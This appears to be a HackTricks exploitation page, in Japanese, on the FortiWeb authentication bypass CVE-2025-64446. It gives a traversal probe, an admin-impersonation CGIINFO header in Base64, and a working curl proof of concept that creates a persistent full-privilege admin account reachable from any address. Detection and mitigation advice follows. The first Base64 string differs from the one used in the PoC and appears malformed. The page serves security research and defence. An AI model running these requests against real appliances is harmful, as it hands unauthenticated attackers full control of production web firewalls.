Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

Fortinet FortiWeb は /cgi-bin/fwbcgi に集中型のCGIディスパッチャを公開しています。2つのバグを組み合わせることで、未認証のリモート攻撃者が次のことを行えるようになります:

  • URLを有効なAPIプレフィックスで開始し、ディレクトリを横断することでfwbcgiに到達できる。
  • CGIが識別情報として信頼する特別なHTTPヘッダを渡すことで、任意のユーザ(組み込みのadminを含む)を偽装できる。

ベンダーアドバイザリ: FG‑IR‑25‑910 (CVE‑2025‑64446)。実際の攻撃で永続的なadminユーザを作成するために悪用されている事例が確認されています。

影響を受けるバージョン(公表されたもの):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 は下記のトラバーサルプローブに対して HTTP 403 を返します。

クイック脆弱性プローブ

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • 判定: HTTP 200 → 脆弱である可能性が高い; HTTP 403 → パッチ適用済み。

根本原因の連鎖

  1. API-prefix による path traversal で internal CGI に到達
  • 有効な FortiWeb API プレフィックス(例: /api/v2.0/cmdb//api/v2.0/cmd/)で始まる任意のリクエストパスは、../ を使って /cgi-bin/fwbcgi まで path traversal できる。
  1. Minimal-body validation のバイパス
  • 一度 fwbcgi に到達すると、最初のゲートは /var/log/inputcheck/ 以下のパスごとのファイルをキーにした寛容な JSON チェックを行う。ファイルが存在しない場合、チェックは即座に通過する。ファイルが存在する場合でも、ボディは有効な JSON であれば足りる。最小限の準拠ボディとして {} を使う。
  1. ヘッダー駆動の user impersonation
  • プログラムは CGI 環境変数 HTTP_CGIINFO(HTTP ヘッダー CGIINFO に由来)を読み取り、Base64 デコードし、JSON をパースして属性を直接ログインコンテキストにコピーし、domain/VDOM を設定する。関心のあるキー:
  • username, loginname, vdom, profname
  • 内蔵 admin を偽装するための例示 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

上記の Base64(実際に使われているもの):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

エンドツーエンドの悪用パターン (unauthenticated → admin)

  1. API-prefix traversal を使って /cgi-bin/fwbcgi にアクセスする。
  2. 入力チェックを満たすために任意の有効なJSONボディ(例: {})を提供する。
  3. ヘッダ CGIINFO: <base64(json)> を送信する。ここでJSONは対象の識別情報を定義する。
  4. fwbcgi が期待するバックエンドJSONをPOSTして特権操作を実行する(例: 永続化のためにadminユーザを作成する)。

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin を成りすまして、新しい local admin user を作成する:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

注意:

  • 任意の有効なJSONボディ(例: {})で問題ありません。/var/log/inputcheck/<path>.json が存在しない場合。
  • The action schema は FortiWeb 内部の仕様です;上の例ではフル権限のローカル管理者を追加します。

検出

  • ../ を含む API プレフィックス付きパスを経由して /cgi-bin/fwbcgi に到達するリクエスト(例: /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。
  • ヘッダ CGIINFO が存在し、その内容が Base64 エンコードされた JSON で username/loginname/vdom/profname のキーを含む。
  • バックエンドの痕跡:
  • /var/log/inputcheck/ 以下のパスごとのファイル(gate configuration)。
  • 予期しない管理者作成や設定変更。
  • 迅速な検証: トラバーサルプローブが 200(露出)を返す vs 403(修正済みビルドでブロック)を返す。

緩和策

  • ベンダーのアドバイザリに従って修正済みリリースへアップグレードする(例: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)。
  • 修正されるまで:
  • FortiWeb の管理プレーンを信頼できないネットワークに公開しない。
  • reverse-proxy/WAF ルールを追加してブロックする:
  • /api/ で始まり ../cgi-bin/fwbcgi を含むパス。
  • CGIINFO ヘッダを含むリクエスト。
  • 上記の検出インジケータを監視し、アラートを設定する。

参照

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする